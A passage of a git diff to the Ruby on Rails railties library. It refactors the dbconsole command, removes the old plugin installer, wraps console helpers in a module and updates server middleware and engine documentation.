-        commands += commands.map{|cmd| "#{cmd}.exe"} if RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
-
-        full_path_command = nil
-        found = commands.detect do |cmd|
-          dir = dirs_on_path.detect do |path|
-            full_path_command = File.join(path, cmd)
-            File.executable? full_path_command
-          end
-        end
-        found ? full_path_command : abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.")
-      end
+      options = parse_arguments(arguments)
+      ENV['RAILS_ENV'] = options[:environment] || environment
 
       case config["adapter"]
       when /^mysql/
@@ -70,7 +29,7 @@ module Rails
           'encoding'  => '--default-character-set'
         }.map { |opt, arg| "#{arg}=#{config[opt]}" if config[opt] }.compact
 
-        if config['password'] && include_password
+        if config['password'] && options['include_password']
           args << "--password=#{config['password']}"
         elsif config['password'] && !config['password'].to_s.empty?
           args << "-p"
@@ -78,46 +37,129 @@ module Rails
 
         args << config['database']
 
-        exec(find_cmd('mysql', 'mysql5'), *args)
+        find_cmd_and_exec(['mysql', 'mysql5'], *args)
 
       when "postgresql", "postgres"
         ENV['PGUSER']     = config["username"] if config["username"]
         ENV['PGHOST']     = config["host"] if config["host"]
         ENV['PGPORT']     = config["port"].to_s if config["port"]
-        ENV['PGPASSWORD'] = config["password"].to_s if config["password"] && include_password
-        exec(find_cmd('psql'), config["database"])
+        ENV['PGPASSWORD'] = config["password"].to_s if config["password"] && options['include_password']
+        find_cmd_and_exec('psql', config["database"])
 
       when "sqlite"
-        exec(find_cmd('sqlite'), config["database"])
+        find_cmd_and_exec('sqlite', config["database"])
 
       when "sqlite3"
         args = []
 
         args << "-#{options['mode']}" if options['mode']
         args << "-header" if options['header']
-        args << config['database']
+        args << File.expand_path(config['database'], Rails.root)
 
-        exec(find_cmd('sqlite3'), *args)
+        find_cmd_and_exec('sqlite3', *args)
 
       when "oracle", "oracle_enhanced"
         logon = ""
 
         if config['username']
           logon = config['username']
-          logon << "/#{config['password']}" if config['password'] && include_password
+          logon << "/#{config['password']}" if config['password'] && options['include_password']
           logon << "@#{config['database']}" if config['database']
         end
 
-        exec(find_cmd('sqlplus'), logon)
+        find_cmd_and_exec('sqlplus', logon)
 
       else
         abort "Unknown command-line client for #{config['database']}. Submit a Rails patch to add support!"
       end
     end
-  end
-end
 
-# Has to set the RAILS_ENV before config/application is required
-if ARGV.first && !ARGV.first.index("-") && env = ARGV.first
-  ENV['RAILS_ENV'] = %w(production development test).detect {|e| e =~ /^#{env}/} || env
+    def config
+      @config ||= begin
+        cfg = begin
+          cfg = YAML.load(ERB.new(IO.read("config/database.yml")).result)
+        rescue SyntaxError, StandardError
+          require APP_PATH
+          Rails.application.config.database_configuration
+        end
+
+        unless cfg[environment]
+          abort "No database is configured for the environment '#{environment}'"
+        end
+
+        cfg[environment]
+      end
+    end
+
+    def environment
+      if Rails.respond_to?(:env)
+        Rails.env
+      else
+        ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development"
+      end
+    end
+
+    protected
+
+    def parse_arguments(arguments)
+      options = {}
+      
+      OptionParser.new do |opt|
+        opt.banner = "Usage: rails dbconsole [environment] [options]"
+        opt.on("-p", "--include-password", "Automatically provide the password from database.yml") do |v|
+          options['include_password'] = true
+        end
+
+        opt.on("--mode [MODE]", ['html', 'list', 'line', 'column'],
+          "Automatically put the sqlite3 database in the specified mode (html, list, line, column).") do |mode|
+            options['mode'] = mode
+        end
+
+        opt.on("--header") do |h|
+          options['header'] = h
+        end
+        
+        opt.on("-h", "--help", "Show this help message.") do
+          puts opt
+          exit
+        end
+
+        opt.on("-e", "--environment=name", String,
+          "Specifies the environment to run this console under (test/development/production).",
+          "Default: development"
+        ) { |v| options[:environment] = v.strip }
+
+        opt.parse!(arguments)
+        abort opt.to_s unless (0..1).include?(arguments.size)
+      end
+
+      if arguments.first && arguments.first[0] != '-'
+        env = arguments.first
+        options[:environment] = %w(production development test).detect {|e| e =~ /^#{env}/} || env
+      end
+      
+      options
+    end
+
+    def find_cmd_and_exec(commands, *args)
+      commands = Array(commands)
+
+      dirs_on_path = ENV['PATH'].to_s.split(File::PATH_SEPARATOR)
+      commands += commands.map{|cmd| "#{cmd}.exe"} if RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
+
+      full_path_command = nil
+      found = commands.detect do |cmd|
+        dir = dirs_on_path.detect do |path|
+          full_path_command = File.join(path, cmd)
+          File.executable? full_path_command
+        end
+      end
+
+      if found
+        exec full_path_command, *args
+      else
+        abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.")
+      end
+    end
+  end
 end
diff --git a/railties/lib/rails/commands/destroy.rb b/railties/lib/rails/commands/destroy.rb
index ae354eca97..9023c61bf2 100644
--- a/railties/lib/rails/commands/destroy.rb
+++ b/railties/lib/rails/commands/destroy.rb
@@ -1,7 +1,6 @@
 require 'rails/generators'
-require 'active_support/core_ext/object/inclusion'
 
-if ARGV.first.in?([nil, "-h", "--help"])
+if [nil, "-h", "--help"].include?(ARGV.first)
   Rails::Generators.help 'destroy'
   exit
 end
diff --git a/railties/lib/rails/commands/generate.rb b/railties/lib/rails/commands/generate.rb
index 1fb2d98834..9f13cb0513 100644
--- a/railties/lib/rails/commands/generate.rb
+++ b/railties/lib/rails/commands/generate.rb
@@ -1,7 +1,6 @@
 require 'rails/generators'
-require 'active_support/core_ext/object/inclusion'
 
-if ARGV.first.in?([nil, "-h", "--help"])
+if [nil, "-h", "--help"].include?(ARGV.first)
   Rails::Generators.help 'generate'
   exit
 end
diff --git a/railties/lib/rails/commands/plugin.rb b/railties/lib/rails/commands/plugin.rb
deleted file mode 100644
index 4df849447d..0000000000
--- a/railties/lib/rails/commands/plugin.rb
+++ /dev/null
@@ -1,542 +0,0 @@
-# Rails Plugin Manager.
-#
-# Installing plugins:
-#
-#   $ rails plugin install continuous_builder asset_timestamping
-#
-# Specifying revisions:
-#
-#   * Subversion revision is a single integer.
-#
-#   * Git revision format:
-#     - full - 'refs/tags/1.8.0' or 'refs/heads/experimental'
-#     - short: 'experimental' (equivalent to 'refs/heads/experimental')
-#              'tag 1.8.0' (equivalent to 'refs/tags/1.8.0')
-#
-#
-# This is Free Software, copyright 2005 by Ryan Tomayko (rtomayko@gmail.com)
-# and is licensed MIT: (http://www.opensource.org/licenses/mit-license.php)
-
-$verbose = false
-
-require 'open-uri'
-require 'fileutils'
-require 'tempfile'
-
-include FileUtils
-
-class RailsEnvironment
-  attr_reader :root
-
-  def initialize(dir)
-    @root = dir
-  end
-
-  def self.find(dir=nil)
-    dir ||= pwd
-    while dir.length > 1
-      return new(dir) if File.exist?(File.join(dir, 'config', 'environment.rb'))
-      dir = File.dirname(dir)
-    end
-  end
-
-  def self.default
-    @default ||= find
-  end
-
-  def self.default=(rails_env)
-    @default = rails_env
-  end
-
-  def install(name_uri_or_plugin)
-    if name_uri_or_plugin.is_a? String
-      if name_uri_or_plugin =~ /:\/\//
-        plugin = Plugin.new(name_uri_or_plugin)
-      else
-        plugin = Plugins[name_uri_or_plugin]
-      end
-    else
-      plugin = name_uri_or_plugin
-    end
-    if plugin
-      plugin.install
-    else
-      puts "Plugin not found: #{name_uri_or_plugin}"
-    end
-  end
-
-  def use_svn?
-    require 'active_support/core_ext/kernel'
-    silence_stderr {`svn --version` rescue nil}
-    !$?.nil? && $?.success?
-  end
-
-  def use_externals?
-    use_svn? && File.directory?("#{root}/vendor/plugins/.svn")
-  end
-
-  def use_checkout?
-    # this is a bit of a guess. we assume that if the rails environment
-    # is under subversion then they probably want the plugin checked out
-    # instead of exported. This can be overridden on the command line
-    File.directory?("#{root}/.svn")
-  end
-
-  def best_install_method
-    return :http unless use_svn?
-    case
-      when use_externals? then :externals
-      when use_checkout? then :checkout
-      else :export
-    end
-  end
-
-  def externals
-    return [] unless use_externals?
-    ext = `svn propget svn:externals "#{root}/vendor/plugins"`
-    lines = ext.respond_to?(:lines) ? ext.lines : ext
-    lines.reject{ |line| line.strip == '' }.map do |line|
-      line.strip.split(/\s+/, 2)
-    end
-  end
-
-  def externals=(items)
-    unless items.is_a? String
-      items = items.map{|name,uri| "#{name.ljust(29)} #{uri.chomp('/')}"}.join("\n")
-    end
-    Tempfile.open("svn-set-prop") do |file|
-      file.write(items)
-      file.flush
-      system("svn propset -q svn:externals -F \"#{file.path}\" \"#{root}/vendor/plugins\"")
-    end
-  end
-end
-
-class Plugin
-  attr_reader :name, :uri
-
-  def initialize(uri, name = nil)
-    @uri = uri
-    guess_name(uri)
-  end
-
-  def self.find(name)
-    new(name)
-  end
-
-  def to_s
-    "#{@name.ljust(30)}#{@uri}"
-  end
-
-  def svn_url?
-    @uri =~ /svn(?:\+ssh)?:\/\/*/
-  end
-
-  def git_url?
-    @uri =~ /^git:\/\// || @uri =~ /\.git$/
-  end
-
-  def installed?
-    File.directory?("#{rails_env.root}/vendor/plugins/#{name}") \
-      or rails_env.externals.detect{ |name, repo| self.uri == repo }
-  end
-
-  def install(method=nil, options = {})
-    method ||= rails_env.best_install_method?
-    if :http == method
-      method = :export if svn_url?
-      method = :git    if git_url?
-    end
-
-    uninstall if installed? and options[:force]
-
-    unless installed?
-      send("install_using_#{method}", options)
-      run_install_hook
-    else
-      puts "already installed: #{name} (#{uri}).  pass --force to reinstall"
-    end
-  end
-
-  def uninstall
-    path = "#{rails_env.root}/vendor/plugins/#{name}"
-    if File.directory?(path)
-      puts "Removing 'vendor/plugins/#{name}'" if $verbose
-      run_uninstall_hook
-      rm_r path
-    else
-      puts "Plugin doesn't exist: #{path}"
-    end
-
-    if rails_env.use_externals?
-      # clean up svn:externals
-      externals = rails_env.externals
-      externals.reject!{|n, u| name == n or name == u}
-      rails_env.externals = externals
-    end
-  end
-
-  def info
-    tmp = "#{rails_env.root}/_tmp_about.yml"
-    if svn_url?
-      cmd = "svn export #{@uri} \"#{rails_env.root}/#{tmp}\""
-      puts cmd if $verbose
-      system(cmd)
-    end
-    open(svn_url? ? tmp : File.join(@uri, 'about.yml')) do |stream|
-      stream.read
-    end rescue "No about.yml found in #{uri}"
-  ensure
-    FileUtils.rm_rf tmp if svn_url?
-  end
-
-  private
-
-    def run_install_hook
-      install_hook_file = "#{rails_env.root}/vendor/plugins/#{name}/install.rb"
-      load install_hook_file if File.exist? install_hook_file
-    end
-
-    def run_uninstall_hook
-      uninstall_hook_file = "#{rails_env.root}/vendor/plugins/#{name}/uninstall.rb"
-      load uninstall_hook_file if File.exist? uninstall_hook_file
-    end
-
-    def install_using_export(options = {})
-      svn_command :export, options
-    end
-
-    def install_using_checkout(options = {})
-      svn_command :checkout, options
-    end
-
-    def install_using_externals(options = {})
-      externals = rails_env.externals
-      externals.push([@name, uri])
-      rails_env.externals = externals
-      install_using_checkout(options)
-    end
-
-    def install_using_http(options = {})
-      root = rails_env.root
-      mkdir_p "#{root}/vendor/plugins/#{@name}"
-      Dir.chdir "#{root}/vendor/plugins/#{@name}" do
-        puts "fetching from '#{uri}'" if $verbose
-        fetcher = RecursiveHTTPFetcher.new(uri, -1)
-        fetcher.quiet = true if options[:quiet]
-        fetcher.fetch
-      end
-    end
-
-    def install_using_git(options = {})
-      root = rails_env.root
-      mkdir_p(install_path = "#{root}/vendor/plugins/#{name}")
-      Dir.chdir install_path do
-        init_cmd = "git init"
-        init_cmd += " -q" if options[:quiet] and not $verbose
-        puts init_cmd if $verbose
-        system(init_cmd)
-        base_cmd = "git pull --depth 1 #{uri}"
-        base_cmd += " -q" if options[:quiet] and not $verbose
-        base_cmd += " #{options[:revision]}" if options[:revision]
-        puts base_cmd if $verbose
-        if system(base_cmd)
-          puts "removing: .git .gitignore" if $verbose
-          rm_rf %w(.git .gitignore)
-        else
-          rm_rf install_path
-        end
-      end
-    end
-
-    def svn_command(cmd, options = {})
-      root = rails_env.root
-      mkdir_p "#{root}/vendor/plugins"
-      base_cmd = "svn #{cmd} #{uri} \"#{root}/vendor/plugins/#{name}\""
-      base_cmd += ' -q' if options[:quiet] and not $verbose
-      base_cmd += " -r #{options[:revision]}" if options[:revision]
-      puts base_cmd if $verbose
-      system(base_cmd)
-    end
-
-    def guess_name(url)
-      @name = File.basename(url)
-      if @name == 'trunk' || @name.empty?
-        @name = File.basename(File.dirname(url))
-      end
-      @name.gsub!(/\.git$/, '') if @name =~ /\.git$/
-    end
-
-    def rails_env
-      @rails_env || RailsEnvironment.default
-    end
-end
-
-# load default environment and parse arguments
-require 'optparse'
-module Commands
-  class Plugin
-    attr_reader :environment, :script_name
-    def initialize
-      @environment = RailsEnvironment.default
-      @rails_root = RailsEnvironment.default.root
-      @script_name = File.basename($0)
-    end
-
-    def environment=(value)
-      @environment = value
-      RailsEnvironment.default = value
-    end
-
-    def options
-      OptionParser.new do |o|
-        o.set_summary_indent('  ')
-        o.banner =    "Usage: plugin [OPTIONS] command"
-        o.define_head "Rails plugin manager."
-
-        o.separator ""
-        o.separator "GENERAL OPTIONS"
-
-        o.on("-r", "--root=DIR", String,
-             "Set an explicit rails app directory.",
-             "Default: #{@rails_root}") { |rails_root| @rails_root = rails_root; self.environment = RailsEnvironment.new(@rails_root) }
-
-        o.on("-v", "--verbose", "Turn on verbose output.") { |verbose| $verbose = verbose }
-        o.on("-h", "--help", "Show this help message.") { puts o; exit }
-
-        o.separator ""
-        o.separator "COMMANDS"
-
-        o.separator "  install    Install plugin(s) from known repositories or URLs."
-        o.separator "  remove     Uninstall plugins."
-
-        o.separator ""
-        o.separator "EXAMPLES"
-        o.separator "  Install a plugin from a subversion URL:"
-        o.separator "    #{@script_name} plugin install http://example.com/my_svn_plugin\n"
-        o.separator "  Install a plugin from a git URL:"
-        o.separator "    #{@script_name} plugin install git://github.com/SomeGuy/my_awesome_plugin.git\n"
-        o.separator "  Install a plugin and add a svn:externals entry to vendor/plugins"
-        o.separator "    #{@script_name} plugin install -x my_svn_plugin\n"
-      end
-    end
-
-    def parse!(args=ARGV)
-      general, sub = split_args(args)
-      options.parse!(general)
-
-      command = general.shift
-      if command =~ /^(install|remove)$/
-        command = Commands.const_get(command.capitalize).new(self)
-        command.parse!(sub)
-      else
-        puts "Unknown command: #{command}" unless command.blank?
-        puts options
-        exit 1
-      end
-    end
-
-    def split_args(args)
-      left = []
-      left << args.shift while args[0] and args[0] =~ /^-/
-      left << args.shift if args[0]
-      [left, args]
-    end
-
-    def self.parse!(args=ARGV)
-      Plugin.new.parse!(args)
-    end
-  end
-
-  class Install
-    def initialize(base_command)
-      @base_command = base_command
-      @method = :http
-      @options = { :quiet => false, :revision => nil, :force => false }
-    end
-
-    def options
-      OptionParser.new do |o|
-        o.set_summary_indent('  ')
-        o.banner =    "Usage: #{@base_command.script_name} install PLUGIN [PLUGIN [PLUGIN] ...]"
-        o.define_head "Install one or more plugins."
-        o.separator   ""
-        o.separator   "Options:"
-        o.on(         "-x", "--externals",
-                      "Use svn:externals to grab the plugin.",
-                      "Enables plugin updates and plugin versioning.") { |v| @method = :externals }
-        o.on(         "-o", "--checkout",
-                      "Use svn checkout to grab the plugin.",
-                      "Enables updating but does not add a svn:externals entry.") { |v| @method = :checkout }
-        o.on(         "-e", "--export",
-                      "Use svn export to grab the plugin.",
-                      "Exports the plugin, allowing you to check it into your local repository. Does not enable updates or add an svn:externals entry.") { |v| @method = :export }
-        o.on(         "-q", "--quiet",
-                      "Suppresses the output from installation.",
-                      "Ignored if -v is passed (rails plugin -v install ...)") { |v| @options[:quiet] = true }
-        o.on(         "-r REVISION", "--revision REVISION",
-                      "Checks out the given revision from subversion or git.",
-                      "Ignored if subversion/git is not used.") { |v| @options[:revision] = v }
-        o.on(         "-f", "--force",
-                      "Reinstalls a plugin if it's already installed.") { |v| @options[:force] = true }
-        o.separator   ""
-        o.separator   "You can specify plugin names as given in 'plugin list' output or absolute URLs to "
-        o.separator   "a plugin repository."
-      end
-    end
-
-    def determine_install_method
-      best = @base_command.environment.best_install_method
-      @method = :http if best == :http and @method == :export
-      case
-      when (best == :http and @method != :http)
-        msg = "Cannot install using subversion because `svn' cannot be found in your PATH"
-      when (best == :export and (@method != :export and @method != :http))
-        msg = "Cannot install using #{@method} because this project is not under subversion."
-      when (best != :externals and @method == :externals)
-        msg = "Cannot install using externals because vendor/plugins is not under subversion."
-      end
-      if msg
-        puts msg
-        exit 1
-      end
-      @method
-    end
-
-    def parse!(args)
-      options.parse!(args)
-      if args.blank?
-        puts options
-        exit 1
-      end
-      environment = @base_command.environment
-      install_method = determine_install_method
-      puts "Plugins will be installed using #{install_method}" if $verbose
-      args.each do |name|
-        ::Plugin.find(name).install(install_method, @options)
-      end
-    rescue StandardError => e
-      puts "Plugin not found: #{args.inspect}"
-      puts e.inspect if $verbose
-      exit 1
-    end
-  end
-
-  class Remove
-    def initialize(base_command)
-      @base_command = base_command
-    end
-
-    def options
-      OptionParser.new do |o|
-        o.set_summary_indent('  ')
-        o.banner =    "Usage: #{@base_command.script_name} remove name [name]..."
-        o.define_head "Remove plugins."
-      end
-    end
-
-    def parse!(args)
-      options.parse!(args)
-      if args.blank?
-        puts options
-        exit 1
-      end
-      root = @base_command.environment.root
-      args.each do |name|
-        ::Plugin.new(name).uninstall
-      end
-    end
-  end
-
-  class Info
-    def initialize(base_command)
-      @base_command = base_command
-    end
-
-    def options
-      OptionParser.new do |o|
-        o.set_summary_indent('  ')
-        o.banner =    "Usage: #{@base_command.script_name} info name [name]..."
-        o.define_head "Shows plugin info at {url}/about.yml."
-      end
-    end
-
-    def parse!(args)
-      options.parse!(args)
-      args.each do |name|
-        puts ::Plugin.find(name).info
-        puts
-      end
-    end
-  end
-end
-
-class RecursiveHTTPFetcher
-  attr_accessor :quiet
-  def initialize(urls_to_fetch, level = 1, cwd = ".")
-    @level = level
-    @cwd = cwd
-    @urls_to_fetch = RUBY_VERSION >= '1.9' ? urls_to_fetch.lines : urls_to_fetch.to_a
-    @quiet = false
-  end
-
-  def ls
-    @urls_to_fetch.collect do |url|
-      if url =~ /^svn(\+ssh)?:\/\/.*/
-        `svn ls #{url}`.split("\n").map {|entry| "/#{entry}"} rescue nil
-      else
-        open(url) do |stream|
-          links("", stream.read)
-        end rescue nil
-      end
-    end.flatten
-  end
-
-  def push_d(dir)
-    @cwd = File.join(@cwd, dir)
-    FileUtils.mkdir_p(@cwd)
-  end
-
-  def pop_d
-    @cwd = File.dirname(@cwd)
-  end
-
-  def links(base_url, contents)
-    links = []
-    contents.scan(/href\s*=\s*\"*[^\">]*/i) do |link|
-      link = link.sub(/href="/i, "")
-      next if link =~ /svnindex.xsl$/
-      next if link =~ /^(\w*:|)\/\// || link =~ /^\./
-      links << File.join(base_url, link)
-    end
-    links
-  end
-
-  def download(link)
-    puts "+ #{File.join(@cwd, File.basename(link))}" unless @quiet
-    open(link) do |stream|
-      File.open(File.join(@cwd, File.basename(link)), "wb") do |file|
-        file.write(stream.read)
-      end
-    end
-  end
-
-  def fetch(links = @urls_to_fetch)
-    links.each do |l|
-      (l =~ /\/$/ || links == @urls_to_fetch) ? fetch_dir(l) : download(l)
-    end
-  end
-
-  def fetch_dir(url)
-    @level += 1
-    push_d(File.basename(url)) if @level > 0
-    open(url) do |stream|
-      contents =  stream.read
-      fetch(links(url, contents))
-    end
-    pop_d if @level > 0
-    @level -= 1
-  end
-end
-
-Commands::Plugin.parse!
diff --git a/railties/lib/rails/commands/plugin_new.rb b/railties/lib/rails/commands/plugin_new.rb
index 0287ba0638..4d7bf3c9f3 100644
--- a/railties/lib/rails/commands/plugin_new.rb
+++ b/railties/lib/rails/commands/plugin_new.rb
@@ -1,5 +1,3 @@
-require 'rubygems' if ARGV.include?("--dev")
-
 if ARGV.first != "new"
   ARGV[0] = "--help"
 else
diff --git a/railties/lib/rails/commands/profiler.rb b/railties/lib/rails/commands/profiler.rb
index ea6347c918..3f6966b4f0 100644
--- a/railties/lib/rails/commands/profiler.rb
+++ b/railties/lib/rails/commands/profiler.rb
@@ -19,7 +19,7 @@ def options
   options
 end
 
-class ProfilerTest < ActionDispatch::PerformanceTest
+class ProfilerTest < ActionDispatch::PerformanceTest #:nodoc:
   self.profile_options = options
 
   ARGV.each do |expression|
diff --git a/railties/lib/rails/commands/runner.rb b/railties/lib/rails/commands/runner.rb
index e8cc5d9e3b..a672258aa6 100644
--- a/railties/lib/rails/commands/runner.rb
+++ b/railties/lib/rails/commands/runner.rb
@@ -9,8 +9,7 @@ if ARGV.first.nil?
 end
 
 ARGV.clone.options do |opts|
-  script_name = File.basename($0)
-  opts.banner = "Usage: runner [options] ('Some.ruby(code)' or a filename)"
+  opts.banner = "Usage: rails runner [options] ('Some.ruby(code)' or a filename)"
 
   opts.separator ""
 
@@ -42,6 +41,7 @@ ENV["RAILS_ENV"] = options[:environment]
 
 require APP_PATH
 Rails.application.require_environment!
+ Rails.application.load_runner
 
 if code_or_file.nil?
   $stderr.puts "Run '#{$0} -h' for help."
diff --git a/railties/lib/rails/commands/server.rb b/railties/lib/rails/commands/server.rb
index 20484a10c8..a684129353 100644
--- a/railties/lib/rails/commands/server.rb
+++ b/railties/lib/rails/commands/server.rb
@@ -17,7 +17,7 @@ module Rails
           opts.on("-c", "--config=file", String,
                   "Use custom rackup configuration file") { |v| options[:config] = v }
           opts.on("-d", "--daemon", "Make server run as a Daemon.") { options[:daemonize] = true }
-          opts.on("-u", "--debugger", "Enable ruby-debugging for the server.") { options[:debugger] = true }
+          opts.on("-u", "--debugger", "Enable the debugger") { options[:debugger] = true }
           opts.on("-e", "--environment=name", String,
                   "Specifies the environment to run this server under (test/development/production).",
                   "Default: development") { |v| options[:environment] = v }
@@ -64,7 +64,16 @@ module Rails
 
       #Create required tmp directories if not found
       %w(cache pids sessions sockets).each do |dir_to_make|
-        FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make))
+        FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+      end
+
+      unless options[:daemonize]
+        wrapped_app # touch the app so the logger is set up
+
+        console = ActiveSupport::Logger.new($stdout)
+        console.formatter = Rails.logger.formatter
+
+        Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
       end
 
       super
@@ -76,9 +85,17 @@ module Rails
 
     def middleware
       middlewares = []
-      middlewares << [Rails::Rack::LogTailer, log_path] unless options[:daemonize]
       middlewares << [Rails::Rack::Debugger]  if options[:debugger]
       middlewares << [::Rack::ContentLength]
+
+      # FIXME: add Rack::Lock in the case people are using webrick.
+      # This is to remain backwards compatible for those who are
+      # running webrick in production. We should consider removing this
+      # in development.
+      if server.name == 'Rack::Handler::WEBrick'
+        middlewares << [::Rack::Lock]
+      end
+
       Hash.new(middlewares)
     end
 
@@ -89,6 +106,7 @@ module Rails
     def default_options
       super.merge({
         :Port        => 3000,
+        :DoNotReverseLookup => true,
         :environment => (ENV['RAILS_ENV'] || "development").dup,
         :daemonize   => false,
         :debugger    => false,
diff --git a/railties/lib/rails/configuration.rb b/railties/lib/rails/configuration.rb
index f8ad17773a..5fa7f043c6 100644
--- a/railties/lib/rails/configuration.rb
+++ b/railties/lib/rails/configuration.rb
@@ -1,39 +1,66 @@
 require 'active_support/deprecation'
 require 'active_support/ordered_options'
-require 'active_support/core_ext/hash/deep_dup'
+require 'active_support/core_ext/object'
 require 'rails/paths'
 require 'rails/rack'
 
 module Rails
   module Configuration
-    class MiddlewareStackProxy #:nodoc:
+    # MiddlewareStackProxy is a proxy for the Rails middleware stack that allows
+    # you to configure middlewares in your application. It works basically as a
+    # command recorder, saving each command to be applied after initialization
+    # over the default middleware stack, so you can add, swap, or remove any
+    # middleware in Rails.
+    #
+    # You can add your own middlewares by using the +config.middleware.use+ method:
+    #
+    #     config.middleware.use Magical::Unicorns
+    #
+    # This will put the <tt>Magical::Unicorns</tt> middleware on the end of the stack.
+    # You can use +insert_before+ if you wish to add a middleware before another:
+    #
+    #     config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
+    #
+    # There's also +insert_after+ which will insert a middleware after another:
+    #
+    #     config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
+    #
+    # Middlewares can also be completely swapped out and replaced with others:
+    #
+    #     config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns
+    #
+    # And finally they can also be removed from the stack completely:
+    #
+    #     config.middleware.delete ActionDispatch::BestStandardsSupport
+    #
+    class MiddlewareStackProxy
       def initialize
         @operations = []
       end
 
       def insert_before(*args, &block)
-        @operations << [:insert_before, args, block]
+        @operations << [__method__, args, block]
       end
 
       alias :insert :insert_before
 
       def insert_after(*args, &block)
-        @operations << [:insert_after, args, block]
+        @operations << [__method__, args, block]
       end
 
       def swap(*args, &block)
-        @operations << [:swap, args, block]
+        @operations << [__method__, args, block]
       end
 
       def use(*args, &block)
-        @operations << [:use, args, block]
+        @operations << [__method__, args, block]
       end
 
       def delete(*args, &block)
-        @operations << [:delete, args, block]
+        @operations << [__method__, args, block]
       end
 
-      def merge_into(other)
+      def merge_into(other) #:nodoc:
         @operations.each do |operation, args, block|
           other.send(operation, *args, &block)
         end
diff --git a/railties/lib/rails/console/app.rb b/railties/lib/rails/console/app.rb
index 95c74baae2..2a69c26deb 100644
--- a/railties/lib/rails/console/app.rb
+++ b/railties/lib/rails/console/app.rb
@@ -1,32 +1,32 @@
 require 'active_support/all'
-require 'active_support/test_case'
 require 'action_controller'
 
-# work around the at_exit hook in test/unit, which kills IRB
-Test::Unit.run = true if Test::Unit.respond_to?(:run=)
+module Rails
+  module ConsoleMethods
+    # reference the global "app" instance, created on demand. To recreate the
+    # instance, pass a non-false value as the parameter.
+    def app(create=false)
+      @app_integration_instance = nil if create
+      @app_integration_instance ||= new_session do |sess|
+        sess.host! "www.example.com"
+      end
+    end
 
-# reference the global "app" instance, created on demand. To recreate the
-# instance, pass a non-false value as the parameter.
-def app(create=false)
-  @app_integration_instance = nil if create
-  @app_integration_instance ||= new_session do |sess|
-    sess.host! "www.example.com"
-  end
-end
+    # create a new session. If a block is given, the new session will be yielded
+    # to the block before being returned.
+    def new_session
+      app = Rails.application
+      session = ActionDispatch::Integration::Session.new(app)
+      yield session if block_given?
+      session
+    end
 
-# create a new session. If a block is given, the new session will be yielded
-# to the block before being returned.
-def new_session
-  app = Rails.application
-  session = ActionDispatch::Integration::Session.new(app)
-  yield session if block_given?
-  session
-end
-
-# reloads the environment
-def reload!(print=true)
-  puts "Reloading..." if print
-  ActionDispatch::Reloader.cleanup!
-  ActionDispatch::Reloader.prepare!
-  true
+    # reloads the environment
+    def reload!(print=true)
+      puts "Reloading..." if print
+      ActionDispatch::Reloader.cleanup!
+      ActionDispatch::Reloader.prepare!
+      true
+    end
+  end
 end
diff --git a/railties/lib/rails/console/helpers.rb b/railties/lib/rails/console/helpers.rb
index 212fc6125a..230d3d9d04 100644
--- a/railties/lib/rails/console/helpers.rb
+++ b/railties/lib/rails/console/helpers.rb
@@ -1,7 +1,11 @@
-def helper
-  @helper ||= ApplicationController.helpers
-end
+module Rails
+  module ConsoleMethods
+    def helper
+      @helper ||= ApplicationController.helpers
+    end
 
-def controller
-  @controller ||= ApplicationController.new
+    def controller
+      @controller ||= ApplicationController.new
+    end
+  end
 end
diff --git a/railties/lib/rails/deprecation.rb b/railties/lib/rails/deprecation.rb
new file mode 100644
index 0000000000..c5811b2629
--- /dev/null
+++ b/railties/lib/rails/deprecation.rb
@@ -0,0 +1,18 @@
+require 'active_support/deprecation/proxy_wrappers'
+
+module Rails
+  class DeprecatedConstant < ActiveSupport::Deprecation::DeprecatedConstantProxy
+    def self.deprecate(old, current)
+      constant = new(old, current)
+      eval "::#{old} = constant"
+    end
+
+    private
+
+    def target
+      ::Kernel.eval @new_const.to_s
+    end
+  end
+
+  DeprecatedConstant.deprecate('RAILS_CACHE', '::Rails.cache')
+end
diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb
index 1c9627734e..3a5caf9f62 100644
--- a/railties/lib/rails/engine.rb
+++ b/railties/lib/rails/engine.rb
@@ -2,7 +2,6 @@ require 'rails/railtie'
 require 'active_support/core_ext/module/delegation'
 require 'pathname'
 require 'rbconfig'
-require 'rails/engine/railties'
 
 module Rails
   # <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of
@@ -39,8 +38,6 @@ module Rails
   # and <tt>autoload_once_paths</tt>, which, differently from a <tt>Railtie</tt>, are scoped to
   # the current engine.
   #
-  # Example:
-  #
   #   class MyEngine < Rails::Engine
   #     # Add a load path for this specific Engine
   #     config.autoload_paths << File.expand_path("../lib/some/path", __FILE__)
@@ -148,7 +145,7 @@ module Rails
   #
   #   # ENGINE/config/routes.rb
   #   MyEngine::Engine.routes.draw do
-  #     match "/" => "posts#index"
+  #     get "/" => "posts#index"
   #   end
   #
   # == Mount priority
@@ -158,7 +155,7 @@ module Rails
   #
   #   MyRailsApp::Application.routes.draw do
   #     mount MyEngine::Engine => "/blog"
-  #     match "/blog/omg" => "main#omg"
+  #     get "/blog/omg" => "main#omg"
   #   end
   #
   # +MyEngine+ is mounted at <tt>/blog</tt>, and <tt>/blog/omg</tt> points to application's
@@ -167,7 +164,7 @@ module Rails
   # It's much better to swap that:
   #
   #   MyRailsApp::Application.routes.draw do
-  #     match "/blog/omg" => "main#omg"
+  #     get "/blog/omg" => "main#omg"
   #     mount MyEngine::Engine => "/blog"
   #   end
   #
@@ -179,8 +176,7 @@ module Rails
   #
   # * routes: when you mount an Engine with <tt>mount(MyEngine::Engine => '/my_engine')</tt>,
   #   it's used as default :as option
-  # * some of the rake tasks are based on engine name, e.g. <tt>my_engine:install:migrations</tt>,
-  #   <tt>my_engine:install:assets</tt>
+  # * rake task for installing migrations <tt>my_engine:install:migrations</tt>
   #
   # Engine name is set by default based on class name. For <tt>MyEngine::Engine</tt> it will be
   # <tt>my_engine_engine</tt>. You can change it manually using the <tt>engine_name</tt> method:
@@ -228,7 +224,7 @@ module Rails
   #     resources :articles
   #   end
